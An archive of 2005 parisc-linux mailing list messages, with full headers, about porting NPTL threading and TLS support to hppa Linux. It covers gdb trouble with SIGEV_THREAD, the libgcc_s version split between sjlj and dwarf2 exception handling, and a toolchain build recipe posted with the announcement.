Lines: 21
Approved: news@gmane.org
Message-ID: <20050802152508.GE9703@systemhalted.org>
References: <20050802134128.GC9703@systemhalted.org> <42EF86E7.40506@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623879 15938 80.91.229.3 (22 Nov 2014 02:37:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Aug 2005 15:25:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 02 Aug 2005 17:25:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29DDE7D6B5;
	Tue,  2 Aug 2005 09:25:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20478-10; Tue, 2 Aug 2005 09:25:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9262B7D6B7;
	Tue,  2 Aug 2005 09:25:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A25B7D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 09:25:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20478-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Aug 2005 09:25:41 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id A8C287D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 09:25:41 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Dzydo-0000Nw-00; Tue, 02 Aug 2005 11:25:16 -0400
Content-Disposition: inline
In-Reply-To: <42EF86E7.40506@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1fWdYid2eSEkXr6WZHQhaXN1IGRvb0Au
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23016

On Tue, Aug 02, 2005 at 10:44:55PM +0800, Randolph Chung wrote:
> >Might you have a clue as to why gdb can't debug a SIGEV_THREAD?
> >This test fails with a SIGSEGV in NPTL. The thread is in
> >__deallocate_stack (DSO address check from fault) 
> 
> Not a clue, but I can look into it.

It looks like the breakpoint is placed in the correct location, but gdb
doesn't acknowledge the trap.

It may be difficult to replicate this without my NPTL patches. I'll
check this in so you can build the toolchain too.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL pthread_cancel and libgcc_s.so.2 vs.
	libgcc_s.so.1 (Why the DSO version bump?)
Date: Tue, 2 Aug 2005 11:42:41 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20050802154237.GF9703@systemhalted.org>
References: <20050802135905.GD9703@systemhalted.org>
	<200508021413.j72EDgM3013869@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623879 15941 80.91.229.3 (22 Nov 2014 02:37:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Aug 2005 15:42:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 02 Aug 2005 17:42:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ACF557D6BF;
	Tue,  2 Aug 2005 09:42:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20866-04; Tue, 2 Aug 2005 09:42:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0ECE37D6C1;
	Tue,  2 Aug 2005 09:42:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3098A7D6B7
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 09:42:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20812-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Aug 2005 09:42:50 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 72CD87D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 09:42:50 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Dzyug-0000en-00; Tue, 02 Aug 2005 11:42:42 -0400
Content-Disposition: inline
In-Reply-To: <200508021413.j72EDgM3013869@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1fGdYkkqeSEkT76WZHQhaXN1IGRvb0AR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23017

On Tue, Aug 02, 2005 at 10:13:42AM -0400, John David Anglin wrote:
> > What was the reason for DSO version bump in libgcc_s.so.1?
> 
> It was done to distinguish between libgcc_s's built with sjlj and dwarf2
> eh support, respectively.  They use incompatible unwind routines and it's
> not possible to support both exception handling techniques with one library.

So libgcc_s.so.1 is for dwarf2?
While libgcc_s.so.2 is for sjlj?

Thus NPTL thread cancellation seems to requires dwarf2 eh support.
How do I enable sjlj versus dwarf2 (--enable-dwarf2-exceptions?)

Our build script is here if you want to have a look:
http://cvs.parisc-linux.org/build-tools/build-tls-tools?rev=1.5&view=markup

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Announce] NPTL for hppa (a.k.a. How to become a
	sexy hacker)
Date: Wed, 3 Aug 2005 00:23:35 -0400
Lines: 109
Approved: news@gmane.org
Message-ID: <20050803042330.GL9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623879 15942 80.91.229.3 (22 Nov 2014 02:37:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:59 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Aug 2005 04:23:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 03 Aug 2005 06:23:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 051D97D6E1;
	Tue,  2 Aug 2005 22:23:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24359-10; Tue, 2 Aug 2005 22:23:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C0F1D7D6DC;
	Tue,  2 Aug 2005 22:23:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4E7E7D6D7
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 22:23:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24282-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Aug 2005 22:23:38 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id F22B27D6D6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 22:23:37 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1E0An2-00079n-00; Wed, 03 Aug 2005 00:23:36 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hCOCYnxCeSEkbr6WZHQhaXN1IGRvbwCj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23018


parisc,

===== NPTL on hppa-linux (alpha release) =====

We have recently checked in all the glibc NPTL pieces required to get
threading working for hppa. This has been a lot of fun.  Randolph Chung
and John David Anglin deserve a lot of credit.  The entire toolchain
required TLS support and more bug fixes that I can count.

The rest of the pa team deserves credit too, especially for the tactical
use of cluebats (willy, jejb) for all the bad kernel code I wrote.
Without granta-claus nothing is possible, and somewhere in France we've
lost a good hacker ... he's probably playing on his PSP.

This initial NPTL port is made possible by using scalar lock words and
the light-weight-syscall mechanism for "compare and swap." It is not
implemented using LDCW. The sheer amount of code that has to be audited
and changed, including core algorithms is too much work for me
currently. Even the spinlocks are using LWS CAS.

This is a first cut and it needs more debugging to get the regressions
down.

===== NPTL Build Recipe =====

You might be wondering, how can I help? The first step is to follow the
22 step recipe to build your own TLS enabled NPTL threaded toolchain.
Following that you can post a link to your logs that resulted from the
compilation.

Minimum Requirements:
----------------------
You need a machine running the latest kernel from cvs.parisc-linux.org.
You need ~2.5GB of free drive space.
Make sure you don't have a ~/.tls-tools that overrides your options.
Please post a link to your tar.gz'd logs so we can see the tests results.
Please post how long it took to complete? :) 

---
#!/bin/bash
date
mkdir tls-toolchain-hppa
cd tls-toolchain-hppa
mkdir src
mkdir build
mkdir install
export CVSROOT=:pserver:anonymous@cvs.parisc-linux.org:/var/cvs
export BASE=`pwd`
export SRC=$BASE/src
export BUILD=$BASE/build
export PINSTALL=$BASE/install
cd $SRC
ln -s glibc glibc-nptl
cvs co build-tools
cd $BASE
cp $SRC/build-tools/build-tls-tools .
TOOLS="binutils gcc" STAGES="checkout configure build check install" ./build-tls-tools
TOOLS="glibc" STAGES="checkout configure build check" ./build-tls-tools
TOOLS="glibc-nptl" STAGES="configure build check" ./build-tls-tools
cd $BUILD
# Post a link to your logs on the parisc-linux mailing list.
tar zcvf logs-YOURNAME-YY-MM-DD.tar.gz logs/
date
---

===== NPTL Debugging Help =====

If you think you're a multi-threaded programming hot-shot then perhaps
you can help debug our NPTL threading implementation! You'll see the
internals of NPTL and learn how an enterprise ready threading library is
built!

You can start by examining the errors in glibc-nptl.check* and try to
figure out why the test is failing, what is the correct behaviour, and
what might be the fix. Correctness is usually measured against POSIX or
SuSv.

Error listing:  
(cd $BUILD; grep 'Error' glibc-nptl.check*;)

The best debugging technique IMO is to relink the test in a local
directory and use 'rpath' instead of 'rpath-link'. The test can then be
run directly, instead of through ld.so.1, and gdb can be used.

===== NPTL TODO =====

* Reduce NPTL glibc testsuite bug count to below 20. (Critical)
* Fixing or identifying problem areas for NPTL glibc testsuite bugs
* Develop and run LWS CAS test on SMP systems to measure scalability
  and correctness.
- Identify what is required for backwards compat with linuxthreads
- Enabling debian-glibc NPTL builds and testing.
- Distro plan for transition to NPTL threading (Gentoo, Debian,
  Ubuntu... whoe else?).
- What unwind support is required to have a working syscall cancellation
  mechanism.
- Merge code upstream for binutils and glibc.
- Merge upstream back into our CVS.
- Become a sexy hacker.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL pthread_cancel and libgcc_s.so.2 vs.
	libgcc_s.so.1 (Why the DSO version bump?)
Date: Wed, 3 Aug 2005 01:02:40 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200508030502.j7352e22021888@hiauly1.hia.nrc.ca>
References: <20050803044244.GN9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623880 15943 80.91.229.3 (22 Nov 2014 02:38:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Aug 2005 05:02:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 03 Aug 2005 07:02:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C6AD7D6EE;
	Tue,  2 Aug 2005 23:02:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25139-07; Tue, 2 Aug 2005 23:02:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEFF07D6F0;
	Tue,  2 Aug 2005 23:02:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F15C7D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 23:02:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25100-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Aug 2005 23:02:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id BB29E7D6EC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 23:02:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7352fnV021889; Wed, 3 Aug 2005 01:02:41 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7352e22021888;
	Wed, 3 Aug 2005 01:02:40 -0400 (EDT)
In-Reply-To: <20050803044244.GN9703@systemhalted.org> from "Carlos O'Donell"
	at Aug 3, 2005 00:42:45 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qyqCYtM4eSEkT76WZHQhaXN1IGRvb0B9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23019

> i386 only has libgcc_s.so.1 and I'm pretty sure that it is compiled with
> dwarf2 support. hppa only has libgcc_s.so.1 and it is sjlj for sure.
> 
> So we have an inconsistent numbering problem?

Yup, but it was unavoidable.  Look on the positive side, i386 doesn't
support sjlj ;)

> The code on hppa should try to load "libgcc_s.so.2" then?

Yes.

> > > Thus NPTL thread cancellation seems to requires dwarf2 eh support.
> > > How do I enable sjlj versus dwarf2 (--enable-dwarf2-exceptions?)
> > 
> > dwarf2 is the default.  --enable-sjlj-exceptions=yes enables sjlj.
> > Debian gcc-3.3 uses sjlj.  Debian gcc-3.4 and later use dwarf2.
> 
> Okay, perfect.

Basic TLS support in GCC is currently in the CVS head and will be
part of gcc-4.1 when it is released.  As long as you don't configure
it with --enable-sjlj-exceptions=yes you will get "libgcc_s.so.2".

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Announce] NPTL for hppa (a.k.a. How to become a
	sexy hacker)
Date: Wed, 3 Aug 2005 08:19:48 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <200508030819.48446.mszick@morethan.org>
References: <20050803042330.GL9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623880 15949 80.91.229.3 (22 Nov 2014 02:38:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Aug 2005 13:20:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 03 Aug 2005 15:20:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E6797D6F0;
	Wed,  3 Aug 2005 07:19:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28866-01; Wed, 3 Aug 2005 07:19:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D6B87D6E4;
	Wed,  3 Aug 2005 07:19:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB1427D6D7
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Aug 2005 07:19:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28699-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Aug 2005 07:19:53 -0600 (MDT)
Original-Received: from mail27.sea5.speakeasy.net (mail27.sea5.speakeasy.net
	[69.17.117.29])
	by free.linux.hp.com (Postfix) with ESMTP id 45ED27D6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Aug 2005 07:19:53 -0600 (MDT)
Original-Received: (qmail 3131 invoked from network); 3 Aug 2005 13:19:48 -0000
Original-Received: from tx-65-41-65-251.dyn.sprint-hsd.net
	(mszick@morethan.org@[65.41.65.251])
	(envelope-sender <mszick@morethan.org>)
	by mail27.sea5.speakeasy.net (qmail-ldap-1.03) with RC4-MD5 encrypted
	SMTP
	for <parisc-linux@lists.parisc-linux.org>; 3 Aug 2005 13:19:47 -0000
User-Agent: KMail/1.7.2
In-Reply-To: <20050803042330.GL9703@systemhalted.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: x6GCYncWeSEkcb6WZHQhaXN1IGRvb0Dl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23020

On Tue August 2 2005 23:23, Carlos O'Donell wrote:
> 
> parisc,
>
> Without granta-claus nothing is possible, and somewhere in France we've
> lost a good hacker ... he's probably playing on his PSP.
> 
He will be back.
Rumor is wife took away keyboard for two weeks.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
